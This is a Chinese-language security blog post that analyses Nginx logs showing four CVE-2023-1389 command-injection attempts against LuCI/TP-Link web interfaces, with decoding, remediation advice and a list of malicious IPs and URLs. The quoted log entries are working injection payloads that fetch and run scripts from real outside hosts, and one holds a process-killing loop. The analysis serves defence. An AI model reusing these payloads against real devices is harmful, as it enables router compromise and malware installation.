Nginx日志分析实战:揭露4种CVE-2023-1389攻击手法,加固网站安全屏障
Nginx日志分析实战:揭露4种CVE-2023-1389攻击手法,加固网站安全屏障
原创 满戈 核点点 2024-06-19 23:26
中提到了自开发了可以实现24小时自动收集nginx网站日志的工具,在对日志进行走查的过程中,看到了200多条明显的攻击日志很相识,利用的是同一个漏洞,简单分析如下。
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60)
这条命令字符串看起来像是尝试利用Web界面的漏洞进行攻击,特别是针对使用了LuCI(OpenWrt项目中常用的Web界面)的设备。这里简单解析一下这个命令的意图和构成部分:
– $(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60)
:这是攻击的核心部分,使用了命令注入技术。其中 %3E
是URL编码的 >
符号,%60
是URL编码的反引号(`),用于在shell中执行命令。
-
使用wget
从指定的远程URL(http://103.149.28.141/t
)下载一个文件(-O-
表示输出到标准输出,即直接在终端显示或进一步处理)。 -
然后通过管道|
将下载的内容传递给sh
执行,这意味着下载的文件很可能是包含恶意指令的脚本。 -
id >
是一个无害的前缀,用来误导或填充命令。 -
wget http://103.149.28.141/t -O- | sh
是实际要执行的恶意命令,它做了两件事:
综上所述,这是一个典型的Web命令注入攻击尝试,旨在通过LuCI界面的漏洞,从远程服务器下载并执行恶意代码,从而控制系统或进一步渗透网络。遇到这种情况,应立即采取措施,比如检查系统日志、更新系统及应用补丁、强化Web接口的安全配置,并考虑通报相关安全团队或供应商。
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F66.187.6.203%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60)
这个命令字符串同样是一种恶意的Web请求,旨在利用潜在的命令注入漏洞,通过LuCI Web界面在目标设备上执行一系列危险的操作。具体解析如下:
整体结构与之前解析的相似,利用了/cgi-bin/luci/;stok=
作为LuCI Web界面的入口点,尝试通过修改“国家”设置(locale
)的表单提交来执行命令。
$(…)
内的内容是精心构造的命令注入代码,进行了URL编码以绕过简单的安全检查。解码后的命令为:
cd /tmp;
rm -rf shk;
wget http://66.187.6.203/shk; chmod 777 shk;
./shk tplink;
rm -rf shk
-
这串命令执行了以下操作:
-
cd /tmp
:切换到系统的临时目录/tmp
。 -
rm -rf shk
:如果存在名为shk
的文件或目录,则删除它,以确保后续下载的文件不会因为同名而冲突。 -
wget http://66.187.6.203/shk
:从指定的远程服务器下载名为shk
的文件。这个文件很可能是恶意脚本。 -
chmod 777 shk
:给予下载的shk
文件执行权限,确保任何人都能运行它。 -
./shk tplink
:执行下载的shk
脚本,并传入参数tplink
。这个脚本可能根据传入的参数执行特定的恶意行为,比如攻击tplink路由器、收集敏感信息、开启后门等。 -
rm -rf shk
:执行完毕后,再次删除shk
文件,企图抹去攻击痕迹。
这种攻击显然是为了在目标设备上下载并执行恶意代码,对设备安全构成严重威胁。如果你遇到这样的请求记录,应立即检查设备是否已被入侵,加强系统安全设置,更新固件,并考虑使用防火墙规则阻止与已知恶意IP的通信。同时,报告此事件给网络安全专家或相应厂商,以便他们采取进一步行动。
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F94.156.71.83%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)
cd /tmp;
rm -rf r;
wget http://94.156.71.83/r;
chmod 777 r;
./r tplink;
rm -rf r
这里发生了以下操作:
– 切换到/tmp目录。
-
删除已存在的名为r的文件(如果有),以准备下载新的恶意文件。
-
从攻击者控制的服务器http://94.156.71.83/r下载文件名为r的恶意脚本。
-
赋予下载的文件执行权限(chmod 777 r)。
-
执行下载的脚本./r,并传递参数tplink。这表明脚本可能根据不同的参数执行定制的恶意行为,此处可能针对的是tplink路由器或含有类似标识的系统。
-
最后再一次删除恶意脚本r,企图隐藏攻击痕迹。
此类攻击意在远程控制目标设备、窃取敏感信息或部署持久化后门。如果你遇到这样的日志条目,应当立即采取以下措施:
– 检查系统是否有异常活动迹象。
-
更新设备的固件至最新版本,修复可能存在的安全漏洞。
-
确保网络防火墙规则阻止与已知恶意IP的通信。
-
考虑增强Web服务的安全配置,比如限制对外部请求的敏感操作。
-
如有必要,与网络安全专家或设备供应商联系,报告此安全事件。
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22dvrLocker%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60)
这段命令字符串展示了更为复杂的一种攻击尝试,目标依然是通过LuCI Web界面的命令注入漏洞,不过这次的命令旨在查找并终止特定的进程。解析如下:
– 命令的基本结构仍然是通过LuCI的Web接口进行,利用国家设置变更的表单提交来执行恶意命令。
- 解码后的命令内容为一个Bash循环脚本,其主要目的似乎是查找并杀死名为dvrLocker
的特定进程(这里假设dvrLocker
是一个示例进程名,实际意义依据上下文可能有所不同)。命令大致步骤如下:
for proc_dir in /proc/[0-9]*; do
pid=${proc_dir##*/}
buffer=$(cat "/proc/$pid/maps")
if [ "${#buffer}" -gt 1 ]; then
if [ "${buffer##*/lib/}" = "$buffer" ] && [ "${buffer##*dvrLocker}" = "$buffer" ]; then
kill -9 "$pid"
fi
fi
done
-
确认buffer中不包含/lib/路径,这可能是在尝试排除系统核心库关联的进程,以减少误伤。
-
确认buffer中不包含字符串dvrLocker,意味着只有当某进程的内存映射信息中没有提到dvrLocker时,才会进入下一个条件判断。这里可能存在逻辑错误,正确的意图可能是检查是否包含dvrLocker来定位目标进程。
-
如果以上条件都满足(尽管第二个条件逻辑看似反向,可能需修正以正确匹配目标进程),则使用kill -9强制终止该进程。
-
遍历/proc目录下所有表示进程的子目录(/proc/[0-9]*),获取每个进程的PID(进程ID)。
-
对每个进程,读取其内存映射信息(/proc/$pid/maps),存储在buffer变量中。
-
检查buffer是否为空,非空则继续。
-
使用字符串截取判断条件,检查buffer内容:
-
此脚本的最终目的可能是清除或干扰名为dvrLocker的特定软件或恶意程序的运行实例,但实际执行效果需视脚本逻辑准确性及目标环境而定。
遇到此类命令注入攻击,应立即采取措施确保系统安全,包括但不限于:
– 查看系统日志,确认是否有成功执行的迹象。
-
确认并升级系统及应用程序的安全补丁。
-
评估并加固Web服务的安全配置,避免类似的命令注入漏洞。
-
监控网络流量,阻止与恶意源头的进一步通信。
-
如怀疑系统已遭入侵,应进行彻底的安全审计和必要的数据恢复操作。
威胁情报
103.149.28.141
66.187.6.203
94.156.71.83
66.187.6.155
45.148.10.78
185.191.127.212
45.148.10.174
84.54.51.37
31.220.1.83
http://103.149.28.141/t
http://66.187.6.203/shk
http://94.156.71.83/r
http://66.187.6.155/shk
http://45.148.10.78/shk